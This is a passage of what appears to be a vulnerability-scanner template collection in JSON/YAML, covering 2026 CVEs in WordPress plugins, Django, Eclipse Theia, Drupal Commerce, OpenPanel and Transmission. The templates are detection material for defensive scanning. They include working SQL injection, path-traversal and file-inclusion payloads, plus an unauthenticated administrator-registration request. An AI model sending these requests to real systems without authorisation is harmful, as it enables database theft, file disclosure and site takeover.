crafted SQL queries.\n  impact: |\n    Unauthenticated attackers can extract sensitive database information, potentially compromising user data and site integrity.\n  remediation: |\n    Update to the latest version beyond 6.2.0.\n  reference:\n    - https://ekofyi.com/blog/cve-2026-12800-premium-packages-sql-injection\n    - https://wordpress.org/plugins/wpdm-premium-packages/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-12800\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-12800\n    epss-score: 0.01588\n    epss-percentile: 0.757\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 1\n    product: wpdm-premium-packages\n  tags: cve,cve2026,wordpress,wp-plugin,wpdm-premium-packages,sqli,time-based,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/wpdm-premium-packages/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - compare_versions(version, '<= 6.2.0')\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        name: version\n        group: 1\n        regex:\n          - 'Stable tag: ([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/wpdmpp/v1/cart/coupon HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"code\":\"zznone' OR (SELECT SLEEP(5)) AND '1'='1\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        case-insensitive: true\n        words:\n          - \"coupon\"\n\n      - type: dsl\n        dsl:\n          - \"duration>=5\"\n# digest: 4b0a00483046022100d0f4677b4480676e02e8f135b38c9138e5819777c253e6dd0dd4be21db5bc59e022100c6c4e22ff60f4e78de03a4158f488feede24be20dd1324c574e29713f1eb8e86:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-12800.yaml","vuln_id":"cve-2026-12800"},{"raw":"id: CVE-2026-1277\n\ninfo:\n  name: URL Shortify <= 1.12.1 - Open Redirect\n  author: Shivam Kamboj\n  severity: medium\n  description: |\n    The URL Shortify plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 1.12.1 due to insufficient validation on the 'redirect_to' parameter in the promotional dismissal handler. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites via a crafted link.\n  impact: |\n    Unauthenticated attackers can redirect users to malicious sites, facilitating phishing or malware distribution.\n  remediation: |\n    Update to the latest version beyond 1.12.1.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/url-shortify/url-shortify-1121-unauthenticated-open-redirect-via-redirect-to-parameter\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1277\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N\n    cvss-score: 4.7\n    cve-id: CVE-2026-1277\n    epss-score: 0.00658\n    epss-percentile: 0.51629\n    cwe-id: CWE-601\n  metadata:\n    verified: true\n    max-request: 2\n    publicwww-query: \"/plugins/url-shortify/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,redirect,url-shortify,unauth,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-admin/admin-ajax.php?action=heartbeat&kc_us_dismiss_admin_notice=1&option_name=bfcm_2025_offer&redirect_to=https://interact.sh\"\n      - \"{{BaseURL}}/wp-admin/admin-ajax.php?action=heartbeat&kc_us_dismiss_admin_notice=1&option_name=welcome_offer&redirect_to=https://interact.sh\"\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: regex\n        part: header\n        regex:\n          - '(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$'\n# digest: 4a0a00473045022100e89fdb4ad6400629846b5ac831f8e279b8774c0bf0e9732432c17043293cb4c30220343f2540c34656aadf30647c3494cc791127c6285048b9e79398665eb909617b:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-1277.yaml","vuln_id":"cve-2026-1277"},{"raw":"id: CVE-2026-12741\n\ninfo:\n  name: WP Fast Total Search <= 1.80.280 - Unauthenticated Time-Based Blind SQL Injection\n  author: Abdullah Shahid (comradezephyr)\n  severity: high\n  description: |\n    WP Fast Total Search (fulltext-search) versions up to and including 1.80.280 contain an unauthenticated time-based blind SQL injection. The wp_ajax_nopriv_wpfts_autocomplete handler reads the form_data[s] parameter and feeds it into a WP_Query. The plugin's index_sql_where() builds its cluster query with double-quoted string literals using esc_like() which only escapes LIKE wildcards and not quotes, allowing a double quote to break out of the literal. When form_data[sentence] is set, the search term is used verbatim, giving a clean injection point.\n  impact: |\n    An unauthenticated attacker can execute arbitrary SQL against the WordPress database, enabling extraction of user accounts, password hashes and other sensitive data.\n  remediation: |\n    Update WP Fast Total Search to version 1.81.282 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-12741\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e9b6fe22-330a-4c24-9fdf-16f35516fb2a?source=cve\n    - https://plugins.trac.wordpress.org/browser/fulltext-search/tags/1.80.280/includes/wpfts_search.php#L825\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-12741\n    epss-score: 0.01588\n    epss-percentile: 0.757\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: wp-fast-total-search\n    product: wp_fast_total_search\n    shodan-query: http.html:\"wp-content/plugins/fulltext-search\"\n    fofa-query: body=\"wp-content/plugins/fulltext-search\"\n  tags: cve,cve2026,wordpress,wp-plugin,fulltext-search,sqli,time-based-sqli\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains(body, \"/wp-content/plugins/fulltext-search/\")'\n\n  - raw:\n      - |\n        @timeout: 12s\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpfts_autocomplete&form_data%5Bsentence%5D=1&form_data%5Bs%5D=zzz%22%20OR%20%28SELECT%201%20FROM%20%28SELECT%20SLEEP%284%29%29x%29%20OR%20%22aaa\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 7 && duration < 20'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a004630440220591198f0585b80730371312e941850e044a747c20376c7eee91b1dce02fce3cc0220242f1361bf01f2bfc17bf09f5337155553aa604e470bc915dad2cd24d10a0e5a:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-12741.yaml","vuln_id":"cve-2026-12741"},{"raw":"id: CVE-2026-12609\n\ninfo:\n  name: Eclipse Theia - Unauthenticated Path Traversal\n  author: str4k3r\n  severity: high\n  description: |\n    Eclipse Theia's plugin-ext backend exposes the hostedPlugin endpoint without constraining the resolved path to the plugin directory. An unauthenticated request using encoded traversal sequences can therefore read files accessible to the backend process. The built-in vscode_bat plugin identifier provides a deterministic anchor without target-specific setup.\n  impact: |\n    An unauthenticated attacker can read arbitrary files accessible to the backend process, potentially exposing sensitive configuration, credentials, and system files.\n  remediation: |\n    Upgrade Eclipse Theia to the patched version.\n  reference:\n    - https://github.com/eclipse-theia/theia/security/advisories/GHSA-qmm6-p8q4-2g48\n    - https://gitlab.eclipse.org/security/cve-assignment/-/work_items/133\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-12609\n    epss-score: 0.01644\n    epss-percentile: 0.76502\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: eclipse\n    product: theia\n    shodan-query: html:\"eclipse-theia\"\n    fofa-query: body=\"eclipse-theia\"\n  tags: cve,cve2026,eclipse,theia,lfi,traversal,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"eclipse-theia\")'\n        internal: true\n\n  - raw:\n      - |\n        GET /hostedPlugin/vscode_bat/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'regex(\"root:.*:0:0:\", body)'\n          - 'contains(content_type, \"application/octet-stream\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100d8845dc993b5a77dd75ea5d5c681c3e8e6e6afdfc5eb10963f9561371ff34cad022100800908bcdfab149af0dfa03e418033053a9d3638021a9a29cba3830d2b5b44b2:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-12609.yaml","vuln_id":"cve-2026-12609"},{"raw":"id: CVE-2026-12394\n\ninfo:\n  name: WordPress MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation\n  author: str4k3r\n  severity: critical\n  description: |\n    MemberGlut WordPress plugin < 1.1.5 contains a broken access control vulnerability caused by lack of validation of roles during front-end registration, letting unauthenticated users register with arbitrary roles including administrator, exploit requires no authentication.\n  impact: |\n    Unauthenticated users can register as administrators, leading to full site compromise.\n  remediation: |\n    Update to version 1.1.5 or later.\n  reference:\n    - https://wpscan.com/vulnerability/6b126a3e-30d5-4bed-ba47-33e589ec2852/\n    - https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.0/includes/class-memberglut-forms.php\n    - https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.5/includes/class-memberglut-forms.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-12394\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-12394\n    epss-score: 0.02071\n    epss-percentile: 0.81487\n    cwe-id: CWE-269\n  metadata:\n    max-request: 3\n    verified: true\n    vendor: memberglut\n    product: memberglut\n    fofa-query: body=\"wp-content/plugins/memberglut\"\n  tags: cve,cve2026,wordpress,wp-plugin,memberglut,privesc,unauth,wp\n\nvariables:\n  rand_user: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /register/ HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains_all(body, \"register_nonce\", \"memberglut_register\")\n          - status_code == 200\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: register_nonce\n        part: body\n        group: 1\n        regex:\n          - 'name=\"register_nonce\"\\s*value=\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /register/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=memberglut_register&register_nonce={{register_nonce}}&username={{rand_user}}&email={{rand_user}}@example.test&password=Cve12394Test1!&first_name=a&last_name=a&default_role=administrator\n\n      - |\n        GET /wp-admin/users.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code_1 == 302\n          - contains(header_1, \"registration_success\")\n          - status_code_2 == 200\n          - contains_all(body_2, \"wpbody-content\", \"Administrator\")\n        condition: and\n# digest: 4b0a00483046022100dfc276ed46ed7c202f377ee7e18be43e253dbb0dee07984d31f41494420ee831022100c481be0fb7213e98d40fee55988e158ba3f5874a0538dcf7dbf56d4d6d30599e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-12394.yaml","vuln_id":"cve-2026-12394"},{"raw":"id: CVE-2026-12227\n\ninfo:\n  name: Visual Composer <= 45.16.0 - Unauthenticated LFI\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Visual Composer Website Builder for WordPress <= 45.16.0 contains a local file inclusion vulnerability caused by improper validation of the vcv-template parameter, letting unauthenticated attackers include and execute arbitrary files, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data on the server.\n  remediation: |\n    Update to the latest version beyond 45.16.0.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/visualcomposer/visual-composer-website-builder-45160-unauthenticated-local-file-inclusion-via-vcv-template-parameter\n    - https://github.com/murrez/CVE-2026-12227\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-12227\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-12227\n    epss-score: 0.02773\n    epss-percentile: 0.86376\n    cwe-id: CWE-98\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: developer\n    product: visualcomposer\n    shodan-query: http.html:\"/wp-content/plugins/visualcomposer/\"\n    fofa-query: body=\"/wp-content/plugins/visualcomposer/\"\n  tags: cve,cve2026,wordpress,wp-plugin,visualcomposer,lfi,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"visualcomposer\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /?vcv-template-type=vc&vcv-template=../../../../../../../etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220452c2f63e28b23c4c11888bbd7fd2e54610cdbef3b2e8046209369bd21ea74e2022038f3ad86eec228f4a684d9e5625c8d725672bbff072942502a9d08bec0511350:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-12227.yaml","vuln_id":"cve-2026-12227"},{"raw":"id: CVE-2026-1207\n\ninfo:\n  name: Django RasterField - SQL Injection\n  author: omarkurt\n  severity: high\n  description: |\n    Django < 6.0.2, < 5.2.11, and < 4.2.28 contains a SQL injection caused by improper sanitization of the band index parameter in RasterField on PostGIS, letting remote attackers inject SQL, exploit requires crafted input.\n  impact: |\n    Remote attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.\n  remediation: |\n    Upgrade to versions 6.0.2, 5.2.11, 4.2.28 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1207\n    - https://www.djangoproject.com/weblog/2026/feb/03/security-releases/\n    - https://github.com/django/django/commit/81aa5292967cd09319c45fe2c1a525ce7b6684d8\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L\n    cvss-score: 8.1\n    cve-id: CVE-2026-1207\n    epss-score: 0.12819\n    epss-percentile: 0.96302\n    cwe-id: CWE-89\n    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: djangoproject\n    product: django\n    shodan-query: 'django'\n    fofa-query: 'app=\"Django\"'\n  tags: cve,cve2026,django,sqli,postgis,rasterfield,vuln,unauth,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--\"\n      - \"{{BaseURL}}/api/raster/search/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--\"\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n          - 'contains_all(body, \"invalid input syntax for type integer\", \"PostgreSQL\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: postgres_version\n        part: body\n        group: 1\n        regex:\n          - 'PostgreSQL ([0-9]+\\.[0-9]+)'\n# digest: 490a00463044022059e3a6f0aff44e2bfc33f2de73fd210dab3949e84ff3d51a9797485b4ee31e0f0220249143d65d7d9aa7c5fb3ddec537adb9883248d8633655ee85d6f0c1d40c3393:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-1207.yaml","vuln_id":"cve-2026-1207"},{"raw":"id: CVE-2026-120446\n\ninfo:\n  name: madong-admin-saas <= 5.1.4 - Unauthenticated Platform Tenant Management Access\n  author: maulanawirawan\n  severity: high\n  description: |\n    madong-admin-saas <= 5.1.4 contains a broken authentication caused by 'platformapi' middleware key mismatch in platform tenant management API, letting unauthenticated remote attackers manage tenants and subscription plans.\n  impact: |\n    Unauthenticated attackers can list, create, modify, disable, or delete tenants and bind subscription plans, leading to full tenant management compromise.\n  remediation: |\n    Update to the latest version beyond 5.1.4.\n  reference:\n    - https://github.com/madong-code/madong-admin-saas/issues/2\n    - https://github.com/madong-code/madong-admin-saas/commit/2a199a1523ed749c94b876bc2ae5fedf252b2e39\n    - https://www.vulncheck.com/advisories/madong-admin-saas-through-5.1.4-missing-authentication-via-platform-tenant-management-api\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-120446\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 8.8\n    cve-id: CVE-2026-120446\n    epss-score: 0.00443\n    epss-percentile: 0.38634\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: madong-code\n    product: madong-admin-saas\n    shodan-query: http.favicon.hash:1349700189\n    fofa-query: icon_hash=\"1349700189\"\n  tags: cve,cve2026,madong,unauth,missing-auth,tenant\n\nhttp:\n  - raw:\n      - |\n        GET /platformapi/tenant/account HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"\\\"code\\\":0\", \"\\\"msg\\\":\\\"ok\\\"\", \"\\\"items\\\":\", \"\\\"total\\\":\")'\n          - 'contains_any(body, \"\\\"effective_mode\\\"\", \"\\\"database_mode\\\"\", \"\\\"db_setting_id\\\"\", \"\\\"items\\\":[],\\\"total\\\":0\")'\n        condition: and\n# digest: 4b0a0048304602210084ea2883fa468d2a13ee3ae989c63332b3b0b9a6e8c529461b0adc4417f0f8eb022100ee28eb44e35a558fe12f13a381f9bfb812ae8234039b7c6521cee9351c83702d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-120446.yaml","vuln_id":"cve-2026-120446"},{"raw":"id: CVE-2026-118539\n\ninfo:\n  name: Drupal Commerce Core < 3.3.13 / < 8.x-2.41 - Guest Cart Admin Access Bypass\n  author: alex700,dpuccetti,marcus_johansson,rsnyd\n  severity: critical\n  description: |\n    Drupal Commerce Core before 3.3.13 on the 3.x branch and before 8.x-2.41\n    on the 2.x branch does not sufficiently protect certain order administration\n    routes. This template finds a public product using a bounded set of 63\n    canonical product IDs, adds one item to a fresh guest cart, and checks\n    whether the guest can read that cart order's administrative state-transition\n    form. No account, prior order ID, JSON:API, or checkout is required. The\n    guest draft order persists. Sites without a usable product among the sampled\n    IDs produce no finding, which is inconclusive.\n  impact: |\n    An anonymous guest who owns a draft cart may reach an order administration\n    route that should require Commerce administration access. The advisory also\n    reports possible financial impact; this template only reads the confirmation\n    form and does not submit the transition or complete checkout.\n  remediation: |\n    Upgrade Commerce Core 3.x to 3.3.13 or the earlier branch to 8.x-2.41.\n    Review orders for inconsistencies as advised by Drupal.\n  reference:\n    - https://www.drupal.org/sa-contrib-2026-254\n    - https://www.drupal.org/project/commerce/releases/3.3.13\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-118539\n  classification:\n    cve-id: CVE-2026-118539\n    epss-score: 0.00305\n    epss-percentile: 0.23469\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    vendor: drupal\n    product: commerce_core\n  tags: cve,cve2026,drupal,commerce,access-bypass,unauthenticated,intrusive,vkev\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{RootURL}}/product/{{product_id}}\"\n    payloads:\n      product_id:\n        - \"1\"\n        - \"2\"\n        - \"3\"\n        - \"4\"\n        - \"5\"\n        - \"6\"\n        - \"7\"\n        - \"8\"\n        - \"9\"\n        - \"10\"\n        - \"13\"\n        - \"20\"\n        - \"27\"\n        - \"34\"\n        - \"41\"\n        - \"48\"\n        - \"55\"\n        - \"62\"\n        - \"69\"\n        - \"76\"\n        - \"83\"\n        - \"90\"\n        - \"97\"\n        - \"103\"\n        - \"150\"\n        - \"197\"\n        - \"244\"\n        - \"291\"\n        - \"338\"\n        - \"385\"\n        - \"432\"\n        - \"479\"\n        - \"526\"\n        - \"573\"\n        - \"620\"\n        - \"667\"\n        - \"714\"\n        - \"761\"\n        - \"808\"\n        - \"855\"\n        - \"902\"\n        - \"949\"\n        - \"996\"\n        - \"1003\"\n        - \"1470\"\n        - \"1937\"\n        - \"2404\"\n        - \"2871\"\n        - \"3338\"\n        - \"3805\"\n        - \"4272\"\n        - \"4739\"\n        - \"5206\"\n        - \"5673\"\n        - \"6140\"\n        - \"6607\"\n        - \"7074\"\n        - \"7541\"\n        - \"8008\"\n        - \"8475\"\n        - \"8942\"\n        - \"9409\"\n        - \"9876\"\n    threads: 1\n    stop-at-first-match: true\n    cookie-reuse: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 && contains(body, \"commerce-order-item-add-to-cart-form\")'\n        internal: true\n    extractors:\n      - type: regex\n        name: form_build_id\n        part: body\n        regex:\n          - '(?s)commerce-order-item-add-to-cart-form[^>]*>.*?name=\"form_build_id\" value=\"([^\"]+)\"'\n        group: 1\n        internal: true\n      - type: regex\n        name: form_id\n        part: body\n        regex:\n          - '(?s)commerce-order-item-add-to-cart-form[^>]*>.*?name=\"form_id\" value=\"([^\"]+)\"'\n        group: 1\n        internal: true\n      - type: regex\n        name: selected_product_id\n        part: body\n        regex:\n          - 'name=\"form_id\" value=\"commerce_order_item_add_to_cart_form_commerce_product_([0-9]+)\"'\n        group: 1\n        internal: true\n\n  - method: POST\n    path:\n      - \"{{RootURL}}/product/{{selected_product_id}}\"\n    headers:\n      Content-Type: application/x-www-form-urlencoded\n    body: 'form_build_id={{url_encode(form_build_id)}}&form_id={{url_encode(form_id)}}&op=Add+to+cart'\n    redirects: true\n    cookie-reuse: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{RootURL}}/cart\"\n    cookie-reuse: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 && contains(body, \"views_form_commerce_cart_form_default_\")'\n        internal: true\n    extractors:\n      - type: regex\n        name: order_id\n        part: body\n        regex:\n          - 'name=\"form_id\" value=\"views_form_commerce_cart_form_default_([0-9]+)\"'\n        group: 1\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{RootURL}}/admin/commerce/config/orders\"\n    cookie-reuse: true\n    matchers:\n      - type: status\n        status:\n          - 403\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{RootURL}}/admin/commerce/orders/{{order_id}}/state/place\"\n    cookie-reuse: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 && contains(body, \"name=\\\"form_id\\\" value=\\\"commerce_order_default_state-transition-confirm_form\\\"\")'\n# digest: 4b0a00483046022100fa46c66d6bf3836866ddf3045ddb4629cd3e3b77fc87079d8f34a96b5f0a248e022100d08ecb51eb1e0300892d1f312831a53511ea49ede6570f7d35eab34b55452ecc:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-118539.yaml","vuln_id":"cve-2026-118539"},{"raw":"id: CVE-2026-11801\n\ninfo:\n  name: WPAdverts <= 2.3.2 - Information Disclosure\n  author: 0x_Akoko\n  severity: high\n  description: |\n    WPAdverts – Classifieds Plugin for WordPress <= 2.3.2 contains an authorization bypass caused by improper user authorization verification in classifieds-types REST endpoint, letting unauthenticated attackers retrieve internal site configuration data, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can access internal site configuration data, potentially exposing sensitive information about the site setup.\n  remediation: |\n    Update to the latest version beyond 2.3.2.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/37bb8d68-dd87-437a-80e5-e99e93dc55b6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-11801\n    - https://plugins.trac.wordpress.org/changeset?reponame=&new=3635095%40wpadverts%2Ftrunk&old=3557928%40wpadverts%2Ftrunk\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-11801\n    epss-score: 0.01642\n    epss-percentile: 0.76481\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: developer\n    product: wpadverts\n    framework: wordpress\n    shodan-query: http.html:\"wp-content/plugins/wpadverts\"\n    fofa-query: body=\"wp-content/plugins/wpadverts\"\n  tags: cve,cve2026,wpadverts,wp,wordpress,wp-plugin,exposure\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wpadverts/v1/classifieds-types HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /?rest_route=/wpadverts/v1/classifieds-types HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"\\\"form_schemes_default\\\"\", \"\\\"meta__adverts_email\\\"\", \"\\\"post_type\\\"\", \"\\\"data\\\"\")'\n        condition: and\n# digest: 4a0a00473045022009d6bd4e27e4479d597a60aac8b188c0db332dc6c24a0ca697e02a9ca11b204a02210084bb4f58a36d2b174c750d19d2920c14218dd24e100b3a51070fc38238fd1c9c:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-11801.yaml","vuln_id":"cve-2026-11801"},{"raw":"id: CVE-2026-116817\n\ninfo:\n  name: OpenPanel - Unauthenticated Bull Board Queue Dashboard\n  author: kosoyyagent\n  severity: medium\n  description: |\n    OpenPanel before 3.0.0 contains a broken authentication vulnerability caused by missing authentication on the Bull Board dashboard served on the worker HTTP port, letting unauthenticated attackers access and modify queue data and jobs, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can access and modify job queues, potentially disrupting operations and accessing sensitive queue data.\n  remediation: |\n    Update to version 3.0.0 or later.\n  reference:\n    - https://github.com/Openpanel-dev/openpanel/security/advisories/GHSA-r627-6vrh-65p9\n    - https://github.com/Openpanel-dev/openpanel/commit/193e1e3ae01aa5208b3bee754ddee2c7ce33b38d\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116817\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2026-116817\n    epss-score: 0.00565\n    epss-percentile: 0.47071\n    cwe-id: CWE-306\n  metadata:\n    max-request: 1\n    vendor: openpanel\n    product: openpanel\n    shodan-query: title:\"Bull Dashboard\"\n    fofa-query: title=\"Bull Dashboard\"\n  tags: cve,cve2026,openpanel,exposure,bullboard,unauth,misconfig\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/queues\"\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - '\"readOnlyMode\"'\n          - '\"allowRetries\"'\n          - '\"isPaused\"'\n        condition: and\n# digest: 490a0046304402204ee54a36d69bbad0fa5231d74856b250bb3530d2714e06fe58a56a88abc32f3f0220061ef793a53f0fb9a1e24a78cd4dd0d5a654b7265ae4d8002bb705d0e460d3a5:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-116817.yaml","vuln_id":"cve-2026-116817"},{"raw":"id: CVE-2026-116748\n\ninfo:\n  name: Transmission 4.0.0-4.1.2 - Permissive CORS Exposes RPC Session ID\n  author: kosoyyagent\n  severity: medium\n  description: |\n    Transmission 4.0.0 through 4.1.2 sends Access-Control-Allow-Origin: * on RPC responses and advertises X-Transmission-Session-Id via Access-Control-Expose-Headers on the 409 session handshake. Any website a user visits can read the session-id nonce that guards against CSRF, enabling cross-origin control of the daemon's RPC API.\n  impact: |\n    Attackers can perform unauthorized RPC calls to execute scripts, change download directories, or delete torrents and data.\n  remediation: |\n    Upgrade to Transmission 4.1.3 or later, which removes the CORS headers from the RPC server (commit c6a1bd20). Additionally restrict rpc-whitelist / enable rpc authentication.\n  reference:\n    - https://github.com/transmission/transmission/commit/c6a1bd2017a0fea9c956737c213f23e4b0f7929e\n    - https://github.com/transmission/transmission/pull/8938\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116748\n  classification:\n    cve-id: CVE-2026-116748\n    epss-score: 0.01246\n    epss-percentile: 0.69388\n    cwe-id: CWE-942\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: '\"X-Transmission-Session-Id\"'\n  tags: cve,cve2026,transmission,cors,misconfig\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/transmission/rpc\"\n    headers:\n      Origin: \"https://oast.pro\"\n\n    matchers-condition: and\n    